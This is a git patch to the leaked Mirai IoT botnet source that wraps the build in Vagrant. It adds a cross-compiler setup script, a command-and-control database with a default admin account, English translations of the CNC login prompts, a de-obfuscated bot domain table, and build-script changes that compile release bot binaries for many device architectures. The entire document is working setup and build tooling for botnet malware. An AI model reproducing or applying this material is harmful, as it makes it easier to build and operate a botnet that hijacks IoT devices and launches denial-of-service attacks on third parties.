From 5930cdfa0113a82d961ee7fb7c2ad0a8105e1bda Mon Sep 17 00:00:00 2001 From: Chuck McAuley Date: Wed, 12 Oct 2016 14:28:41 -0400 Subject: [PATCH] make it vagrantized --- Configuring_CNC_Database.txt | 7 ++- README.md | 22 +++++++++- Setting_Up_Cross_Compilers.sh | 80 +++++++++++++++++++---------------- Vagrantfile | 67 +++++------------------------ mirai/bot/table.c | 3 +- mirai/build.sh | 5 +-- mirai/cnc/admin.go | 13 ++++-- mirai/cnc/main.go | 2 +- 8 files changed, 95 insertions(+), 104 deletions(-) mode change 100644 => 100755 Setting_Up_Cross_Compilers.sh diff --git a/Configuring_CNC_Database.txt b/Configuring_CNC_Database.txt index 3aedc33..8773a99 100644 --- a/Configuring_CNC_Database.txt +++ b/Configuring_CNC_Database.txt @@ -1,4 +1,6 @@ +DROP DATABASE IF EXISTS mirai; CREATE DATABASE mirai; +USE mirai; CREATE TABLE `history` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, @@ -33,4 +35,7 @@ CREATE TABLE `whitelist` ( `netmask` tinyint(3) unsigned DEFAULT NULL, PRIMARY KEY (`id`), KEY `prefix` (`prefix`) -); \ No newline at end of file +); + +INSERT INTO users (username, password, duration_limit, cooldown, wrc, last_paid, max_bots, admin, api_key)\ + VALUES ( 'user', 'password',100, 0, 0, 0, 100, 1, 'foobar'); diff --git a/README.md b/README.md index a953ed6..11e413b 100644 --- a/README.md +++ b/README.md @@ -19,4 +19,24 @@ Configuring_CNC_Database.txt from [pastebin.com/86d0iL9g](http://pastebin.com/86 Setting_Up_Cross_Compilers.sh from [pastebin.com/1rRCc3aD](http://pastebin.com/1rRCc3aD) Felicitychou ->>>>>>> 3f80dfb16e01869072b3d295a9f3c8cefb0ce1d8 + +Chuck: +Merged Felicitychou's additions and setup Vagrant file. +To setup build environment, you just need to "vagrant up" +Also removed obfuscation of table.c, so no need to run "enc" tool anymore +Have modified some shell scripts to install more cross compiler packages and remove errors +modified build.sh to download go packages + + +steps to setup build environment +git pull +vagrant up +vagrant ssh +cd /vagrant/mirai +./build.sh + +Steps to create database +cat Configure_CNC_Database.txt | mysql -u root --password=password + +Start the CnC + diff --git a/Setting_Up_Cross_Compilers.sh b/Setting_Up_Cross_Compilers.sh old mode 100644 new mode 100755 index 5ee2e6b..b345a1e --- a/Setting_Up_Cross_Compilers.sh +++ b/Setting_Up_Cross_Compilers.sh @@ -1,51 +1,58 @@ +#!/bin/bash # RUN ALL OF THESE AS A PRIVELEGED USER, SINCE WE ARE DOWNLOADING INTO /etc -# You're gay if you don't use Debian -apt-get install gcc golang electric-fence +apt-get install -y gcc golang electric-fence -mkdir /etc/xcompile -cd /etc/xcompile - -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 -wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 - -tar -jxf cross-compiler-armv4l.tar.bz2 -tar -jxf cross-compiler-i586.tar.bz2 -tar -jxf cross-compiler-m68k.tar.bz2 -tar -jxf cross-compiler-mips.tar.bz2 -tar -jxf cross-compiler-mipsel.tar.bz2 -tar -jxf cross-compiler-powerpc.tar.bz2 -tar -jxf cross-compiler-sh4.tar.bz2 -tar -jxf cross-compiler-sparc.tar.bz2 - -rm *.tar.bz2 -mv cross-compiler-armv4l armv4l -mv cross-compiler-i586 i586 -mv cross-compiler-m68k m68k -mv cross-compiler-mips mips -mv cross-compiler-mipsel mipsel -mv cross-compiler-powerpc powerpc -mv cross-compiler-sh4 sh4 -mv cross-compiler-sparc sparc - --- END -- +if [ ! -d "/etc/xcompile" ]; then + pushd . + mkdir /etc/xcompile + cd /etc/xcompile + echo "downloading cross compilers" + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2 + wget --quiet https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2 + echo "unpacking cross compilers" + tar -jxf cross-compiler-armv4l.tar.bz2 + tar -jxf cross-compiler-armv5l.tar.bz2 + tar -jxf cross-compiler-i586.tar.bz2 + tar -jxf cross-compiler-m68k.tar.bz2 + tar -jxf cross-compiler-mips.tar.bz2 + tar -jxf cross-compiler-mipsel.tar.bz2 + tar -jxf cross-compiler-powerpc.tar.bz2 + tar -jxf cross-compiler-sh4.tar.bz2 + tar -jxf cross-compiler-sparc.tar.bz2 + echo "deleting cross compilers" + rm *.tar.bz2 + mv cross-compiler-armv4l armv4l + mv cross-compiler-armv5l armv5l + mv cross-compiler-i586 i586 + mv cross-compiler-m68k m68k + mv cross-compiler-mips mips + mv cross-compiler-mipsel mipsel + mv cross-compiler-powerpc powerpc + mv cross-compiler-sh4 sh4 + mv cross-compiler-sparc sparc + popd +fi # PUT THESE COMMANDS IN THE FILE ~/.bashrc # Cross compiler toolchains +echo 'adding compiler toolchains to $PATH' +echo ' export PATH=$PATH:/etc/xcompile/armv4l/bin -export PATH=$PATH:/etc/xcompile/armv6l/bin +export PATH=$PATH:/etc/xcompile/armv5l/bin export PATH=$PATH:/etc/xcompile/i586/bin export PATH=$PATH:/etc/xcompile/m68k/bin export PATH=$PATH:/etc/xcompile/mips/bin @@ -58,5 +65,4 @@ export PATH=$PATH:/etc/xcompile/sparc/bin # Golang export PATH=$PATH:/usr/local/go/bin export GOPATH=$HOME/Documents/go - --- END -- \ No newline at end of file +' >> /etc/bash.bashrc diff --git a/Vagrantfile b/Vagrantfile index ea34184..7dd709e 100644 --- a/Vagrantfile +++ b/Vagrantfile @@ -1,10 +1,7 @@ # -*- mode: ruby -*- # vi: set ft=ruby : -# All Vagrant configuration is done below. The "2" in Vagrant.configure -# configures the configuration version (we support older styles for -# backwards compatibility). Please don't change it unless you know what -# you're doing. +# This vagrant sets up build environment for mirai botnet Vagrant.configure("2") do |config| # The most common configuration options are documented and commented below. # For a complete reference, please see the online documentation at @@ -12,60 +9,18 @@ Vagrant.configure("2") do |config| # Every Vagrant development environment requires a box. You can search for # boxes at https://atlas.hashicorp.com/search. - config.vm.box = "base" - - # Disable automatic box update checking. If you disable this, then - # boxes will only be checked for updates when the user runs - # `vagrant box outdated`. This is not recommended. - # config.vm.box_check_update = false - - # Create a forwarded port mapping which allows access to a specific port - # within the machine from a port on the host machine. In the example below, - # accessing "localhost:8080" will access port 80 on the guest machine. - # config.vm.network "forwarded_port", guest: 80, host: 8080 - - # Create a private network, which allows host-only access to the machine - # using a specific IP. - # config.vm.network "private_network", ip: "192.168.33.10" - - # Create a public network, which generally matched to bridged network. - # Bridged networks make the machine appear as another physical device on - # your network. - # config.vm.network "public_network" - - # Share an additional folder to the guest VM. The first argument is - # the path on the host to the actual folder. The second argument is - # the path on the guest to mount the folder. And the optional third - # argument is a set of non-required options. - # config.vm.synced_folder "../data", "/vagrant_data" - - # Provider-specific configuration so you can fine-tune various - # backing providers for Vagrant. These expose provider-specific options. - # Example for VirtualBox: - # - # config.vm.provider "virtualbox" do |vb| - # # Display the VirtualBox GUI when booting the machine - # vb.gui = true - # - # # Customize the amount of memory on the VM: - # vb.memory = "1024" - # end - # - # View the documentation for the provider you are using for more - # information on available options. - - # Define a Vagrant Push strategy for pushing to Atlas. Other push strategies - # such as FTP and Heroku are also available. See the documentation at - # https://docs.vagrantup.com/v2/push/atlas.html for more information. - # config.push.define "atlas" do |push| - # push.app = "YOUR_ATLAS_USERNAME/YOUR_APPLICATION_NAME" - # end + config.vm.box = "ubuntu/trusty64" # Enable provisioning with a shell script. Additional provisioners such as # Puppet, Chef, Ansible, Salt, and Docker are also available. Please see the # documentation for more information about their specific syntax and use. - # config.vm.provision "shell", inline: <<-SHELL - # apt-get update - # apt-get install -y apache2 - # SHELL + config.vm.provision "shell", inline: <<-SHELL + debconf-set-selections <<< 'mysql-server mysql-server/root_password password password' + debconf-set-selections <<< 'mysql-server mysql-server/root_password_again password password' + apt-get update + apt-get upgrade -y + apt-get install -y mysql-server mysql-client golang gcc electric-fence git + chmod +x /vagrant/Setting_Up_Cross_Compilers.sh + /vagrant/Setting_Up_Cross_Compilers.sh + SHELL end diff --git a/mirai/bot/table.c b/mirai/bot/table.c index 45881e7..dd1d6bd 100755 --- a/mirai/bot/table.c +++ b/mirai/bot/table.c @@ -21,7 +21,8 @@ void table_init(void) // $echo example.com | hexdump -e '1/1 "\\\x"' -e '1/1 "%.2x"' // \x65\x78\x61\x6d\x70\x6c\x65\x2e\x63\x6f\x6d\x0a // remember to add null byte on end -add_entry(TABLE_CNC_DOMAIN, "\x63\x6e\x63\x2e\x63\x68\x61\x6e\x67\x65\x6d\x65\x2e\x63\x6f\x6d\x00", 17); + +add_entry(TABLE_CNC_DOMAIN, "\x65\x78\x61\x6d\x70\x6c\x65\x2e\x63\x6f\x6d\x00", 12); //changed to example.com add_entry(TABLE_CNC_PORT, "\x00\x17", 2); add_entry(TABLE_SCAN_CB_DOMAIN, "\x72\x65\x70\x6f\x72\x74\x2e\x63\x68\x61\x6e\x67\x65\x6d\x65\x2e\x63\x6f\x6d\x00", 20); add_entry(TABLE_SCAN_CB_PORT, "\xbb\xe5", 2); diff --git a/mirai/build.sh b/mirai/build.sh index 51afd44..ac8a571 100755 --- a/mirai/build.sh +++ b/mirai/build.sh @@ -1,4 +1,6 @@ #!/bin/bash +go get github.com/go-sql-driver/mysql +go get github.com/mattn/go-shellwords FLAGS="" @@ -29,7 +31,6 @@ elif [ "$1" == "release" ]; then compile_bot mipsel mirai.mpsl "$FLAGS -DKILLER_REBIND_SSH -static" compile_bot armv4l mirai.arm "$FLAGS -DKILLER_REBIND_SSH -static" compile_bot armv5l mirai.arm5n "$FLAGS -DKILLER_REBIND_SSH" - compile_bot armv6l mirai.arm7 "$FLAGS -DKILLER_REBIND_SSH -static" compile_bot powerpc mirai.ppc "$FLAGS -DKILLER_REBIND_SSH -static" compile_bot sparc mirai.spc "$FLAGS -DKILLER_REBIND_SSH -static" compile_bot m68k mirai.m68k "$FLAGS -DKILLER_REBIND_SSH -static" @@ -40,7 +41,6 @@ elif [ "$1" == "release" ]; then compile_bot mipsel miraint.mpsl "-static" compile_bot armv4l miraint.arm "-static" compile_bot armv5l miraint.arm5n " " - compile_bot armv6l miraint.arm7 "-static" compile_bot powerpc miraint.ppc "-static" compile_bot sparc miraint.spc "-static" compile_bot m68k miraint.m68k "-static" @@ -51,7 +51,6 @@ elif [ "$1" == "debug" ]; then gcc -std=c99 bot/*.c -DDEBUG "$FLAGS" -static -g -o debug/mirai.dbg mips-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.mips armv4l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm - armv6l-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.arm7 sh4-gcc -std=c99 -DDEBUG bot/*.c "$FLAGS" -static -g -o debug/mirai.sh4 gcc -std=c99 tools/enc.c -g -o debug/enc gcc -std=c99 tools/nogdb.c -g -o debug/nogdb diff --git a/mirai/cnc/admin.go b/mirai/cnc/admin.go index 28a2091..173c25c 100755 --- a/mirai/cnc/admin.go +++ b/mirai/cnc/admin.go @@ -35,7 +35,8 @@ func (this *Admin) Handle() { // Get username this.conn.SetDeadline(time.Now().Add(60 * time.Second)) - this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m")) + this.conn.Write([]byte("\033[34;1mпользователь\033[33;3m: \033[0m\r\n")) + this.conn.Write([]byte("\033[34;1musername\033[33;3m: \033[0m")) username, err := this.ReadLine(false) if err != nil { return @@ -43,7 +44,8 @@ func (this *Admin) Handle() { // Get password this.conn.SetDeadline(time.Now().Add(60 * time.Second)) - this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m")) + this.conn.Write([]byte("\033[34;1mпароль\033[33;3m: \033[0m\r\n")) + this.conn.Write([]byte("\033[34;1mpassword\033[33;3m: \033[0m")) password, err := this.ReadLine(true) if err != nil { return @@ -53,7 +55,8 @@ func (this *Admin) Handle() { this.conn.Write([]byte("\r\n")) spinBuf := []byte{'-', '\\', '|', '/'} for i := 0; i < 15; i++ { - this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)])) + //this.conn.Write(append([]byte("\r\033[37;1mпроверив счета... \033[31m"), spinBuf[i % len(spinBuf)])) + this.conn.Write(append([]byte("\r\033[37;1mchecking account ... \033[31m"), spinBuf[i % len(spinBuf)])) time.Sleep(time.Duration(300) * time.Millisecond) } @@ -61,7 +64,9 @@ func (this *Admin) Handle() { var userInfo AccountInfo if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn { this.conn.Write([]byte("\r\033[32;1mпроизошла неизвестная ошибка\r\n")) - this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m")) + this.conn.Write([]byte("\r\033[32;1mAn unknown error occurred\r\n")) + this.conn.Write([]byte("\033[31mнажмите любую клавишу для выхода. (any key)\033[0m\r\n")) + this.conn.Write([]byte("\033[31mPress any key to exit. (any key)\033[0m")) buf := make([]byte, 1) this.conn.Read(buf) return diff --git a/mirai/cnc/main.go b/mirai/cnc/main.go index 670b7a7..c52497f 100755 --- a/mirai/cnc/main.go +++ b/mirai/cnc/main.go @@ -7,7 +7,7 @@ import ( "time" ) -const DatabaseAddr string = "127.0.0.1" +const DatabaseAddr string = "127.0.0.1:3306" const DatabaseUser string = "root" const DatabasePass string = "password" const DatabaseTable string = "mirai"